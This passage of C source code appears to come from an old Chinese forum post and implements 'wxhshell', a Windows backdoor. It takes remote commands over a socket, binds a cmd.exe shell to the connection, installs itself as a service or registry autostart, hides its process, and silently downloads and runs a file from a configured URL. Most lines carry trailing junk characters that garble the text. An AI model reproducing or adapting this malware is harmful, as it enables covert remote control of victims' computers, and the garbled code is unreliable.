    switch(cmd[0]) { ~.4y* &  
  EOZ 6F-':  
  // 帮助 ~Zn|(  
  case '?': { AmZW=n2^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }[=)sb_  
    break; ULhXyItL  
  } BIS.,  
  // 安装 9q+W>wt  
  case 'i': { n2~WUK  
    if(Install()) rvU^W+d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ai"MJ6)  
    else qW4DW4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +\*b?x  
    break; >& 4):  
    } Eyz.^)r  
  // 卸载 )4h|7^6ji  
  case 'r': { nLOK1@,4  
    if(Uninstall()) X`3_ yeQc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  gnkeJ}K  
    else PJ4/E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l=t/"M=  
    break; ,zuS)?  
    } "TP~TjXfq  
  // 显示 wxhshell 所在路径 o:&8H>(hn]  
  case 'p': { xkRS?Q g  
    char svExeFile[MAX_PATH]; +p`BoF9~  
    strcpy(svExeFile,"\n\r"); pN)x,<M)  
      strcat(svExeFile,ExeFile); <CB%e!~.9  
        send(wsh,svExeFile,strlen(svExeFile),0); &Nh zEl1  
    break; k ~Q 5Cs  
    } '7}2}KD  
  // 重启 `zrg?  
  case 'b': { aOw#]pB|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Cn{v\Q~.4  
    if(Boot(REBOOT)) ?0M$p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }30Sb &"  
    else { pY[b[ezb  
    closesocket(wsh); YR? E z<p  
    ExitThread(0); |h%HUau  
    } ,(-V<>/*.|  
    break; ~1E!Co  
    } .jg@UAK  
  // 关机 3~7!=s\v  
  case 'd': { .zl[nx[9"D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F:d2;  
    if(Boot(SHUTDOWN)) zy%0;%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q"D5D rj  
    else { '&hd^9]Lo  
    closesocket(wsh); d"IZt;s/,  
    ExitThread(0); Phk3Jv  
    } O$;#GpR  
    break; `d^Q!QxE  
    } |5%T)  
  // 获取shell by0K:*C  
  case 's': { =+UtA f<n  
    CmdShell(wsh); `"}).{N]C  
    closesocket(wsh); uY(8KW  
    ExitThread(0); k \qFWFR  
    break; 3!\h'5{  
  } 9a=>gEF],@  
  // 退出 f^*Yqa  
  case 'x': { Woj5 yr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); & !ds#-  
    CloseIt(wsh); k7Qs#L  
    break; `A%WCd60Tc  
    } tc/  
  // 离开 ~c<8;,cjYR  
  case 'q': { S5u$I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kS &>g  
    closesocket(wsh); XVqkw@Ia4!  
    WSACleanup(); U]gUGD!5x  
    exit(1); 7M4J{}9  
    break; 9PA<g3z  
        } akNqSZwj  
  } r180vbN$  
  } L%(NXSfu7  
Pzq^x]  
  // 提示信息 9Q}g Vqn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #) :.1Z?  
} %cg| KB"l  
  } 1++g @8  
Ex zB{ "  
  return; "^6Fh"]  
} jd-ccnR l  
.MG83Si  
// shell模块句柄 KUYwc@si\  
int CmdShell(SOCKET sock) =f y|Dm74  
{ &PRoT#,  
STARTUPINFO si; lH`TF_  
ZeroMemory(&si,sizeof(si)); h2T\%V_j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _J!&R:]$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2aCf?l(  
PROCESS_INFORMATION ProcessInfo; &.?E[db"h  
char cmdline[]="cmd"; tm5)x^7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `*B0n>ol,  
  return 0; d1\nMm}v  
} 1s@QsZ3  
2/r8% Sq  
// 自身启动模式 ,3 /o7'  
int StartFromService(void) Sx QA*}N  
{ *|g[Mn  
typedef struct 2[Lv_<i|  
{ *l{epum;  
  DWORD ExitStatus; O+|C<;K  
  DWORD PebBaseAddress; n<j+KD#a  
  DWORD AffinityMask; Pb>/b\&JS  
  DWORD BasePriority; YLQ0UeDN'  
  ULONG UniqueProcessId; ws5Ue4g|  
  ULONG InheritedFromUniqueProcessId; KS93v9|  
}   PROCESS_BASIC_INFORMATION; 3sdL\  
qE[YZ(/f0&  
PROCNTQSIP NtQueryInformationProcess; vs=q<Uw)  
X.;VZwT+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C 5gdvJN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c/tB_]  
hBpa"0F  
  HANDLE             hProcess; O# ZZ PJ"  
  PROCESS_BASIC_INFORMATION pbi; PBb&.<   
9/29>K_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PjEJ C@n  
  if(NULL == hInst ) return 0; 1J"9Y81   
$Q8 &TM}E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5[SwF& zZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S Dil\x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ebI2gEu;a  
>*h+ N? m  
  if (!NtQueryInformationProcess) return 0; ').) 0;  
Rv9jLH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9D1WUUa  
  if(!hProcess) return 0; 30uPDDvar  
#O}}pF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;\2Z?Kq  
4\&Y;upy+  
  CloseHandle(hProcess); o= ($'(1  
hA 5')te<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  A\Ib  
if(hProcess==NULL) return 0; H,L{N'[Xph  
\(P?=] -  
HMODULE hMod; E|f[ #+:+  
char procName[255]; N7J?S~x  
unsigned long cbNeeded; 8^ f:-5  
{:uv}4Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BNNM$.ZIQ  
g) oOravV  
  CloseHandle(hProcess); Pn">fWRCx  
]qv0Y~+`-K  
if(strstr(procName,"services")) return 1; // 以服务启动 Yu3S3aRE  
4G(7V:  
  return 0; // 注册表启动 K'r;#I|"J  
} %|(c?`2|  
#mu L-V  
// 主模块 tn' Jkwp  
int StartWxhshell(LPSTR lpCmdLine) lJu^Bcrv  
{ ( 4L/I  
  SOCKET wsl; Y\-xX:n.\  
BOOL val=TRUE; UrvUt$WO  
  int port=0; dz9U.:C  
  struct sockaddr_in door; Z{0BH{23  
f+ceL'fr  
  if(wscfg.ws_autoins) Install(); m g'q-G`\<  
c("|xe  
port=atoi(lpCmdLine); oM~y8O  
\s5Uvws  
if(port<=0) port=wscfg.ws_port; |g3:+&  
b/z-W`gw  
  WSADATA data; ja_8n["z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]WDmx$"&e  
%Gh5!e:$SI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6*9 wGLE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \QK@wgu  
  door.sin_family = AF_INET; S"Cz. bv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {g%N(2  
  door.sin_port = htons(port); BUBx}dbCM  
&*<27-x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A ]A{HEX  
closesocket(wsl); ^r\ rpSN  
return 1; JkAM:,^(  
} vAUt~ X"  
13!@L bC  
  if(listen(wsl,2) == INVALID_SOCKET) { }~I!'J#)  
closesocket(wsl); yQ[;y~W  
return 1; z5fE<=<X_W  
} njy2pDC@  
  Wxhshell(wsl); :jl*Y-mM  
  WSACleanup(); C:J;'[,S  
nTqU~'d'  
return 0; CjQO5  
[b3!H{b#  
} QF"7.~~2  
9b+jT{Tg  
// 以NT服务方式启动 ]^~}/@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2nB99L{6  
{ e,p"=/!aY  
DWORD   status = 0; ^&eF916H  
  DWORD   specificError = 0xfffffff; ,@ 8+%KqG  
(gBKC]zvz3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FXof9fa_B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YJ _eE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C$y6^/7)  
  serviceStatus.dwWin32ExitCode     = 0; YvU%OO-+,  
  serviceStatus.dwServiceSpecificExitCode = 0; cJ96{+  
  serviceStatus.dwCheckPoint       = 0; p`Pa;=L  
  serviceStatus.dwWaitHint       = 0; ~$HB}/  
Y_'ERqQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n N<N~  
  if (hServiceStatusHandle==0) return; \cIN]=#  
gpV4qDXV  
status = GetLastError(); EjR(AqZY  
  if (status!=NO_ERROR) Uk?G1]$mL  
{ uYUFxm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XQ]K,# i  
    serviceStatus.dwCheckPoint       = 0; Yr9'2.%Q  
    serviceStatus.dwWaitHint       = 0; y *i&p4Y*  
    serviceStatus.dwWin32ExitCode     = status; 2zBk#c+  
    serviceStatus.dwServiceSpecificExitCode = specificError; J6Z[c*W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Xt4Rqk$  
    return; u;`]U$Qq9  
  } n$/|r  
F(G..XJQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )/;KxaKt  
  serviceStatus.dwCheckPoint       = 0; p/h\QG1   
  serviceStatus.dwWaitHint       = 0; B@,r8)D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .q@?sdGD  
} &BVHQ7[  
Lzh8-d=HQ  
// 处理NT服务事件,比如:启动、停止 xE1?)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bwsKdh  
{ mk>; 3m*  
switch(fdwControl) RaJTya^  
{ v ccH(T  
case SERVICE_CONTROL_STOP: t%=7v)IOE  
  serviceStatus.dwWin32ExitCode = 0; %~LY'cfPse  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zKQ<Zr  
  serviceStatus.dwCheckPoint   = 0; Mg2+H+C~:  
  serviceStatus.dwWaitHint     = 0; ]&*POri&  
  { \QvGkcDc{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); boo361L  
  } )pWgt5:7~  
  return; oB:7R^a  
case SERVICE_CONTROL_PAUSE: \`n(JV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l;; 2\mL?  
  break; Y6jyU1>  
case SERVICE_CONTROL_CONTINUE: 6j%%CWU{~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  U4!bW  
  break; my 'nDi  
case SERVICE_CONTROL_INTERROGATE: "<CM 'R  
  break; }. &nEi`  
}; clE9I<1v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VeA@HC`?"  
} .p#kW:zspA  
]*2),H1 c  
// 标准应用程序主函数 h,{m{Xh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RHF"$6EAFG  
{ uJ% <+I  
7>Scf  
// 获取操作系统版本 W{6QvQD8  
OsIsNt=GetOsVer(); z74JyY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PUdv1__C  
xWLvx'8W  
  // 从命令行安装 CNB weM  
  if(strpbrk(lpCmdLine,"iI")) Install(); PucNu8   
QK-aH1r  
  // 下载执行文件 W5|{A])N  
if(wscfg.ws_downexe) { %BI8m|6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @cDB 7w\  
  WinExec(wscfg.ws_filenam,SW_HIDE); fv;Q*; oC&  
} Hg#t SE  
i).%GMv*r  
if(!OsIsNt) { V+gZjuN$  
// 如果时win9x,隐藏进程并且设置为注册表启动 {]CZgqE{  
HideProc(); vt EfH  
StartWxhshell(lpCmdLine); 46?z*~*G  
} W{,fpm  
else Hv/C40uM-  
  if(StartFromService()) eR!# 1ar  
  // 以服务方式启动 m<gdyY   
  StartServiceCtrlDispatcher(DispatchTable); }+,Q&]>~  
else 1c$pz:$vX  
  // 普通方式启动 BtJkvg(2]  
  StartWxhshell(lpCmdLine); j+jC J<  
j*%#~UFw  
return 0; ndSu-8?L  
}
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只看该作者 1 发表于: 2006-10-10
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